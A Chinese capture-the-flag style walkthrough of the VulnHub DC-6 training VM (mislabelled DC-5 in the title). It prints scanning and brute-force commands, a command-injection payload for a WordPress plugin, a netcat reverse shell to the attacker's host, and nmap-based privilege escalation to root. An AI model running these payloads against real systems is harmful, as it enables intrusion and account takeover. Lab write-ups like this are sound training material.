[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-5 通关详解 (附靶机搭建教程)

待我称王封你为后i 2024-04-29 02:05 10阅读 0赞

> ## 🍬 博主介绍 ##
> 
> 👨🎓 博主介绍：大家好，我是 [\_PowerShell][PowerShell] ，很高兴认识大家~  
> ✨主攻领域：【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】  
> 🎉点赞➕评论➕收藏 == 养成习惯（一键三连）😋  
> 🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋  
> 🙏作者水平有限，欢迎各位大佬指点，相互学习进步！

#### 文章目录 ####

*  🍬 博主介绍
 *  一、环境搭建：
 *   *  1、靶场描述
     *  2、下载靶场环境
     *  3、启动靶场环境
 *  二、渗透靶场
 *   *  1、目标：
     *  2、信息收集：寻找靶机真实IP
     *   *  1.nmap探活主机
         *  2.arp-scan探活主机
     *  3、信息收集：探端口及服务
     *   *  1.nmap探活端口
         *  2.masscan探活端口
     *  4、访问web服务
     *   *  1.Windows修改hosts文件
         *  2.linux修改hosts文件
         *  3.hosts文件修改成功
     *  5、信息收集：web指纹识别
     *   *  1.Whatweb指纹识别
         *  2.棱洞3.0指纹识别
     *  6、使用扫描网站结构
     *   *  1.nikto扫描网站结构
         *  2.访问登陆页面
     *  7、获取用户密码
     *   *  1.发现存在用户
         *  2.制作用户字典
         *  3.制作密码字典
         *  4.爆破密码
         *  5.登录后台站点
     *  8、发现RCE漏洞
     *   *  1.执行whoami
         *  2.发现长度限制并绕过
     *  9、反弹shell到kali
     *   *  1.kali监听
         *  2.靶机执行命令
         *  3.反弹shell成功
         *  4.进入交互式shell
     *  10、Kali搜索漏洞
     *  11、提权
     *   *  1.尝试suid提权失败
         *  2.查找可执行操作
         *  3.发现graham账户密码
         *  4.切换到graham用户
         *  5.发现jens目录下backups.sh文件
         *  6.切换到jens 用户
         *  7.发现jens可在无密码下执行nmap
         *  8.提权成功
         *  9.发现flag
 *  三、相关资源

## 一、环境搭建： ##

### 1、靶场描述 ###

DC-6 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
    This isn't an overly difficult challenge so should be great for beginners.
    The ultimate goal of this challenge is to get root and to read the one and only flag.
    Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
    For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.

> 只有一个flag

### 2、下载靶场环境 ###

> 靶场下载地址：

https://www.vulnhub.com/entry/dc-6,315/

> 下载下来的文件如下

![在这里插入图片描述][b3b811ebaf3f473981d7d15f40518064.png]

### 3、启动靶场环境 ###

> 下载下来是虚拟机压缩文件，直接用Vmvare导入就行。然后调一下网络，建议调成NAT模式，桥接其实也行。具体操作步骤可以看我之前的文章，这里就不要截图详细介绍了。搭建完成之后显示如下。

![在这里插入图片描述][e0b6d68487354cee8b430a2347724469.png]

## 二、渗透靶场 ##

### 1、目标： ###

> 目标就是我们搭建的靶场，靶场IP为：192.168.233.0/24

### 2、信息收集：寻找靶机真实IP ###

#### 1.nmap探活主机 ####

> 使用nmap进行探活，寻找靶机ip

nmap -sP 192.168.233.0/24

![在这里插入图片描述][545f55033a7e4c97837c828b79fc9774.png]

#### 2.arp-scan探活主机 ####

> 也可以使用arp-scan进行探活，寻找靶机ip

arp-scan -l

![在这里插入图片描述][034485e9d4de4c9da37fc4147d76d537.png]

> 本机ip为192.168.233.130  
> 所以分析可得靶机ip为192.168.233.186

192.168.233.1		vm8网卡
    192.168.233.2		网关
    192.168.233.186	靶机
    192.168.233.254	DHCP服务器
    192.168.233.130	kali本机

### 3、信息收集：探端口及服务 ###

#### 1.nmap探活端口 ####

> 使用nmap探活端口

nmap -A -p- -v 192.168.233.186

![在这里插入图片描述][418b0caaaea849b2b57f0f5b6e2215a3.png]  
![在这里插入图片描述][50275111ac5b4f759fc9b427ea36d0b2.png]

> 发现开放了80端口，存在web服务，Apache httpd 2.4.25 (Debian)  
> 发现开放了22端口，OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)

#### 2.masscan探活端口 ####

> 也可以使用masscan探活端口

masscan --rate=10000 --ports 0-65535 192.168.233.186

![在这里插入图片描述][60fb853a4bb34ac580bcb819b87f202f.png]

### 4、访问web服务 ###

http://192.168.233.186/

> 发现找不到，我们可以明显的看到ip变成了域名，那可以知道是由于DNS解析失败导致的，我们就需要在hosts文件中添加指向。

![在这里插入图片描述][25a34f2d18ee4197aeea0438846c1b6e.png]

#### 1.Windows修改hosts文件 ####

> 打开hosts文件，hosts文件路径如下

C:\WINDOWS\system32\drivers\etc

> 添加如下内容

192.168.233.186 wordy

![在这里插入图片描述][626c4c2daddc48b4aa9bb2b40b42afea.png]

#### 2.linux修改hosts文件 ####

> hosts文件路径如下

/etc/hosts

> Vim修改hosts文件

vim /etc/hosts

![在这里插入图片描述][c3b5f842a5674e598a59832160c649b4.png]

> 添加如下内容

192.168.233.186 wordy

![在这里插入图片描述][b95a1d87072a4835aca7bf0f378660ed.png]

#### 3.hosts文件修改成功 ####

> 重新访问就ok了

http://192.168.233.186/

![在这里插入图片描述][ec8177fb58c24484b37fc70826cb5cd9.png]

### 5、信息收集：web指纹识别 ###

Apache[2.4.25]
    HTML5
    HTTPServer[Debian Linux][Apache/2.4.25 (Debian)]
    JQuery[1.12.4]
    MetaGenerator[WordPress 5.1.1]
    PoweredBy[WordPress]
    Script[text/javascript]
    UncommonHeaders[link]
    WordPress[5.1.1]

#### 1.Whatweb指纹识别 ####

> 然后进行web指纹识别

whatweb -v 192.168.233.186

![在这里插入图片描述][9f29ffdde41142a7bc357ebf9a59dae4.png]  
![在这里插入图片描述][05b28e6a6f664c5da90dde588ee29fef.png]

#### 2.棱洞3.0指纹识别 ####

> 棱洞3.0下载及使用链接于文末给出

Ehole3.0-Win.exe -u http://192.168.233.186

![在这里插入图片描述][629a6d9213964f7abebe1620fef86361.png]

### 6、使用扫描网站结构 ###

#### 1.nikto扫描网站结构 ####

> 使用nikto工具扫描网站结构，发现登录页面wp-login.php和一些其他的目录

nikto -h http://192.168.233.186 -o nikto-wordy.txt

![在这里插入图片描述][b6b98317eebd48e59d8fe2f2279c263b.png]

#### 2.访问登陆页面 ####

http://wordy/wp-login.php

![在这里插入图片描述][2139854e644d4faa8c8efbf678f254ad.png]

### 7、获取用户密码 ###

> 这里是直接采用的wpscan进行的爆破，当然也可以使用bp或者其他工具进行爆破

#### 1.发现存在用户 ####

> 使用wpscan工具对wordpress网站扫描获取WordPress可以登录的用户

wpscan --url wordy -e u

> 发现五个用户

admin
    graham
    mark
    sarah
    jens

![在这里插入图片描述][d553f5e147ea4c71acea5d6dc74391c9.png]  
![在这里插入图片描述][839aaebf835e4f9fbafdcc30abfd2885.png]

#### 2.制作用户字典 ####

cd /usr/share/wordlists
    vim wordy-users.dic

![在这里插入图片描述][59beff35023c4d43a331237efdcf596f.png]

admin
    graham
    mark
    sarah
    jens

![在这里插入图片描述][77a5e1624be14dce92056df36b6108f6.png]

#### 3.制作密码字典 ####

> 题目中给出了提示，告诉了我们密码字典的生成方式

CLUE
    OK, this isn't really a clue as such, but more of some "we don't want to spend five years waiting for a certain process to finish" kind of advice for those who just want to get on with the job.
    cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt That should save you a few years. ;-)

![在这里插入图片描述][191ff96ac6fa4fb783068619d9b137b9.png]

cd /usr/share/wordlists
    cp rockyou.txt.gz rockyou.txt.gz.bak
    gunzip rockyou.txt.gz rockyou.txt
    cat /usr/share/wordlists/rockyou.txt | grep k01 > wordy-pass1.dic

![在这里插入图片描述][94a9eaf4b06941cdbf43b2e200d3a381.png]

cat wordy-pass1.dic

![在这里插入图片描述][93a72e43b96d4ca1a2020edb224cf8a1.png]

#### 4.爆破密码 ####

wpscan --url wordy -U wordy-users.dic -P wordy-pass1.dic

> 成功爆破出来一对用户密码

mark/helpdesk01

![在这里插入图片描述][ea3f66b4545c435fabdc1657feb6af2f.png]  
![在这里插入图片描述][d347b5975c564c5e9589a527422c988b.png]

#### 5.登录后台站点 ####

http://wordy/wp-login.php
    Mark/helpdesk01

![在这里插入图片描述][273dcf14407f43f8913cb3732c7963e6.png]

> 登录成功

http://wordy/wp-admin/

![在这里插入图片描述][912f6199e9c846a18df90018c00b432a.png]

### 8、发现RCE漏洞 ###

> 简单看一下页面，发现存在activity\_monitor插件，存在功能 IP 转十进制和一个域名解析lookup的功能、使用nslookup命令执行的，可能存在一个RCE的漏洞。

#### 1.执行whoami ####

http://wordy/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools
    8.8.8.8;whoami

![在这里插入图片描述][db557dbf139b4e89a7e06461155acdb9.png]

#### 2.发现长度限制并绕过 ####

> 发现在前端做了长度限制，最长长度只能输入15个字符，就是说输入114.114.114.114的话没办法加命令，这里提供两个思路，一个就是采用burp抓包修改，一个就是直接修改html  
> 我这里采用修改html的方式绕过长度限制  
> 打开开发者模式F12  
> 输入114.114.114.114，点击lookup，采用小箭头找到输入框，找到114的位置，把114.114.114.114改成114.114.114.114;whoami，然后再次点击lookup，命令执行成功，同理我们可以反弹shell

114.114.114.114;whoami

![在这里插入图片描述][6bc7c91ddd904a83b954a8d9134dba94.png]

### 9、反弹shell到kali ###

#### 1.kali监听 ####

nc -lvnp 55555

![在这里插入图片描述][f7b32b9328964736b4797d72629f0cfb.png]

#### 2.靶机执行命令 ####

> 把html输入内容位置改成反弹的命令

114.114.114.114;nc -e /bin/bash 192.168.233.130 55555

![在这里插入图片描述][8dbd7c39d67f483694d0e42b6dfddcac.png]

#### 3.反弹shell成功 ####

![在这里插入图片描述][c1c8721191ad4e479c714395cc85121c.png]

#### 4.进入交互式shell ####

> 这个shell不好用，进入交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

![在这里插入图片描述][01d1f8160e194f35b0f31e27e1cbcdbd.png]

### 10、Kali搜索漏洞 ###

> 如果你查看页面的时候发现不了这里有漏洞也可以使用kali搜索相关漏洞

searchsploit activity monitor

![在这里插入图片描述][7dbfc7a4ed134c9a93e0cbc8555f5076.png]

> 选择第三个命令执行，将这个html复制到你所在目录

cp /usr/share/exploitdb/exploits/php/webapps/45274.html 45274.html

![在这里插入图片描述][a57ce39e26c141f69676fe3ed6173172.png]

> 然后修改相应的反弹shell IP和端口

google.frl nc -nlvp 192.168.233.130 55555 -e /bin/bash

![在这里插入图片描述][c5ec3f97014047bc9e1b0e3f19ebda11.png]

> Kali临时开启HTTP服务，并访问45274.html页面

python -m SimpleHTTPServer 80

![在这里插入图片描述][14dd2f89948440e1ae121276e20aed17.png]

http://192.168.233.130/45274.html

![在这里插入图片描述][f94529a4e5b548649b6b13e8fc259009.png]

> 同时在kali监听55555端口，在页面点击submit request后，反弹shell成功

nc -lvvp 55555

![在这里插入图片描述][eca39d3b16d244fcac9468970c4d8a37.png]

### 11、提权 ###

#### 1.尝试suid提权失败 ####

> 查找具有suid权限的程序

find / -perm -u=s -type f 2>/dev/null

> 没有发现可利用提权的程序，换一个思路  
> ![在这里插入图片描述][8256b0c25cc04ec49c95b206579c32b2.png]

#### 2.查找可执行操作 ####

> 执行sudo -l，发现需要www-data的密码

sudo -l

![在这里插入图片描述][d30dfb92f1db4a60b1c169340f577c9b.png]

#### 3.发现graham账户密码 ####

> 进入到mark用户的家目录下，stuff文件下有一个things-to-do.txt文件，查看文件内容发现graham用户及登录密码

cd /home/mark/stuff
    cat things-to-do.txt
    graham/GSo7isUM1D4

![在这里插入图片描述][ec69d1d1a3e94c2498aa281032fd6168.png]

#### 4.切换到graham用户 ####

> 使用su命令切换到graham用户下

su graham
    graham/GSo7isUM1D4

![在这里插入图片描述][e8fbecfb206a41d1989d26d71909036a.png]

#### 5.发现jens目录下backups.sh文件 ####

> 路径：

/home/jens/backups.sh

![在这里插入图片描述][6695098fa4b34edaab3e74fb21d76608.png]

> 查看备份文件

cat /home/jens/backups.sh

> 发现里面是如下命令，是对web的文件进行打包备份

tar -czf backups.tar.gz /var/www/html

![在这里插入图片描述][dad4dcbb7633431b845ba549d95eef24.png]

#### 6.切换到jens 用户 ####

> 先切换到jens目录下

cd /home/jens/

![在这里插入图片描述][0ee2f1791a84400ab556497739c0824a.png]

> 向backups.sh文件中写入”/bin/bash”，并以jens用户去执行该脚本

echo "/bin/bash" >> backups.sh
    sudo -u jens ./backups.sh

> 脚本执行成功后，切换到jens用户

![在这里插入图片描述][38fe3856c0384d1ea6723a9fb69456db.png]

#### 7.发现jens可在无密码下执行nmap ####

> 再次查看jens可以执行的操作，发现jens可以在无密码情况下使用nmap命令

sudo -l

![在这里插入图片描述][1e34d5bab46947ab80fdd652224201fb.png]

#### 8.提权成功 ####

> 百度到可以写入一条命令到getShell，并通过nmap运行getShell成功进入root用户，在/root目录下找到theflag.txt文件

echo 'os.execute("/bin/sh")' > getShell
    sudo  nmap  --script=getShell

![在这里插入图片描述][44609ce60fae47a0bfcdd375099a7931.png]

#### 9.发现flag ####

cd /root
    cat theflag.txt

![在这里插入图片描述][acc14837830946dcb0661209f9f4737f.png]

## 三、相关资源 ##

[ 1、靶场下载地址 ][1_]  
[2、nmap ][2_nmap]  
[3、arp-scan ][3_arp-scan]  
[4、masscan][4_masscan]  
[5、\[ 常用工具篇 \] 渗透神器 whatweb 安装使用详解 ][5_ _ _ _ whatweb _]  
[6、\[ 渗透工具篇 \] EHole(棱洞)3.0安装部署及详解（linux & win）][6_ _ _ EHole_3.0_linux _ win]  
[7、nikto ][7_nikto]  
[8、wpscan ][8_wpscan]  
[ 9、\[ 隧道技术 \] 反弹shell的集中常见方式（一）nc反弹shell ][9_ _ _ _shell_nc_shell]  
[ 10、\[ 常用工具篇 \] burpsuite\_pro 安装配置详解（附安装包） ][10_ _ _ burpsuite_pro _]  
[11、简谈SUID提权][11_SUID]  
[12、实现交互式shell的几种方式 ][12_shell_]  
13、修改hosts文件

[PowerShell]: https://blog.csdn.net/qq_51577576
[b3b811ebaf3f473981d7d15f40518064.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/c493926ef8704d13989068525b83962c.png
[e0b6d68487354cee8b430a2347724469.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/3b38b437382d40b69cfb919399388e2a.png
[545f55033a7e4c97837c828b79fc9774.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/52ea42136c7c4b24a407dedc313c7d25.png
[034485e9d4de4c9da37fc4147d76d537.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/69f5da1f14a645e3ac4e44dfcb1a1b2e.png
[418b0caaaea849b2b57f0f5b6e2215a3.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/ec8955c52e0046efb91049bd82e0cf73.png
[50275111ac5b4f759fc9b427ea36d0b2.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/88ca8958dec34ebcb83703d18c882b1b.png
[60fb853a4bb34ac580bcb819b87f202f.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/93b8259277474f4a902a2e86ca3f1b96.png
[25a34f2d18ee4197aeea0438846c1b6e.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/29e69880cbd041088e3867ac0c481110.png
[626c4c2daddc48b4aa9bb2b40b42afea.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/3647eb405bd74508b5b20204f21fc7e5.png
[c3b5f842a5674e598a59832160c649b4.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/f37ae0889ced4d7baef075a6ce86b36a.png
[b95a1d87072a4835aca7bf0f378660ed.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/045f01a145864928a363a014ac451e98.png
[ec8177fb58c24484b37fc70826cb5cd9.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/e919cfccf3544865bcf0d5bc02d5c9bb.png
[9f29ffdde41142a7bc357ebf9a59dae4.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/21ac6465c45a4dc4ac4709fb10319685.png
[05b28e6a6f664c5da90dde588ee29fef.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/86c930c174894a4388987f15e42aca1d.png
[629a6d9213964f7abebe1620fef86361.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/8564eba86db44ae783a23567e49c702c.png
[b6b98317eebd48e59d8fe2f2279c263b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/6f908c6cd3734bd69829dec52a1d7333.png
[2139854e644d4faa8c8efbf678f254ad.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/63b33c6a4e5d4114a972a932090ca511.png
[d553f5e147ea4c71acea5d6dc74391c9.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/b6d699c966704e9a9081f17d9ce510bd.png
[839aaebf835e4f9fbafdcc30abfd2885.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/26e0255ecff141489045c57c37dcf836.png
[59beff35023c4d43a331237efdcf596f.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/898e7b28b7df4bcd89f48d50fec7243f.png
[77a5e1624be14dce92056df36b6108f6.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/e8a87b03143940418f8629678ac67c27.png
[191ff96ac6fa4fb783068619d9b137b9.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/f0e7e8d8c991432c9d389c70d1411ee2.png
[94a9eaf4b06941cdbf43b2e200d3a381.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/df751d0e31c34a4ca531f757a2c89676.png
[93a72e43b96d4ca1a2020edb224cf8a1.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/73bf21d814cf4aaf96f677b7888e1bc5.png
[ea3f66b4545c435fabdc1657feb6af2f.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/532e9aa2a69747f0b72e297527ad2843.png
[d347b5975c564c5e9589a527422c988b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/7da780d6d607485dae772f7748239649.png
[273dcf14407f43f8913cb3732c7963e6.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/f9f963b63a054c688d7f54090b075cbb.png
[912f6199e9c846a18df90018c00b432a.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/dd12726e30ae423ba6c24e6d737d16b6.png
[db557dbf139b4e89a7e06461155acdb9.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/2e6a371891f14da3b91e19d72f0cb6a2.png
[6bc7c91ddd904a83b954a8d9134dba94.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/77145862f3f04d31bd8226028cf8138b.png
[f7b32b9328964736b4797d72629f0cfb.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/a3f3113ecbd6456f8d96b220ef3909c8.png
[8dbd7c39d67f483694d0e42b6dfddcac.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/b84f7e70e05c4344b8e7b2b1ae2cd2ea.png
[c1c8721191ad4e479c714395cc85121c.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/702bcf8babc7404b9e6dd214b7d473c8.png
[01d1f8160e194f35b0f31e27e1cbcdbd.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/a5a1eb5d082f42649d3ea54e6d271fd3.png
[7dbfc7a4ed134c9a93e0cbc8555f5076.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/cf1d0151a20f4c17ac15a599738af59e.png
[a57ce39e26c141f69676fe3ed6173172.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/617f3e9e2c3a44e193713b8a612dbc48.png
[c5ec3f97014047bc9e1b0e3f19ebda11.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/4339469162a943f4884b7aa1cbbb94f0.png
[14dd2f89948440e1ae121276e20aed17.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/eacef184d85445aa9c5124dd372992fb.png
[f94529a4e5b548649b6b13e8fc259009.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/b9973c88d6e448b18740585e974a68c6.png
[eca39d3b16d244fcac9468970c4d8a37.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/739b6c0f62804ebaaa90cd3ac8c10f0a.png
[8256b0c25cc04ec49c95b206579c32b2.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/c061a9d0d9f14b2abdaf00b51ae45609.png
[d30dfb92f1db4a60b1c169340f577c9b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/0ce3c22fd4764a6dac0d2eaff8aafdbe.png
[ec69d1d1a3e94c2498aa281032fd6168.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/35c3b0c950db47c2a889f8a1bb1d19a2.png
[e8fbecfb206a41d1989d26d71909036a.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/b4ec0b5eed78462db26220f9f12d7dd7.png
[6695098fa4b34edaab3e74fb21d76608.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/5a40e7f67b4e4450ac51fe0b5f9f77b6.png
[dad4dcbb7633431b845ba549d95eef24.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/1b3a078ef70b4225b23bd0253f4ded4c.png
[0ee2f1791a84400ab556497739c0824a.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/6bb61a8a781f43a284ebb0531ac084f2.png
[38fe3856c0384d1ea6723a9fb69456db.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/0a5b5c7fb1b2408b89509c241599bbe3.png
[1e34d5bab46947ab80fdd652224201fb.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/2ba24b8628974ed3ac39c62242ae57d3.png
[44609ce60fae47a0bfcdd375099a7931.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/0d5d075b656b418c83643ae05e125142.png
[acc14837830946dcb0661209f9f4737f.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/d579236fc60b4128b399a6acc03cbf0e.png
[1_]: https://www.vulnhub.com/entry/dc-32,312/
[2_nmap]: https://nmap.org/man/zh/index.html
[3_arp-scan]: https://www.kali.org/tools/arp-scan/
[4_masscan]: https://github.com/robertdavidgraham/masscan
[5_ _ _ _ whatweb _]: https://blog.csdn.net/qq_51577576/article/details/129973014
[6_ _ _ EHole_3.0_linux _ win]: https://blog.csdn.net/qq_51577576/article/details/129972804
[7_nikto]: https://callofduty.fandom.com/wiki/Nikto
[8_wpscan]: https://zhuanlan.zhihu.com/p/149725645
[9_ _ _ _shell_nc_shell]: https://blog.csdn.net/qq_51577576/article/details/126128251
[10_ _ _ burpsuite_pro _]: https://blog.csdn.net/qq_51577576/article/details/128571173
[11_SUID]: https://www.freebuf.com/articles/web/272617.html
[12_shell_]: https://cloud.tencent.com/developer/article/2130066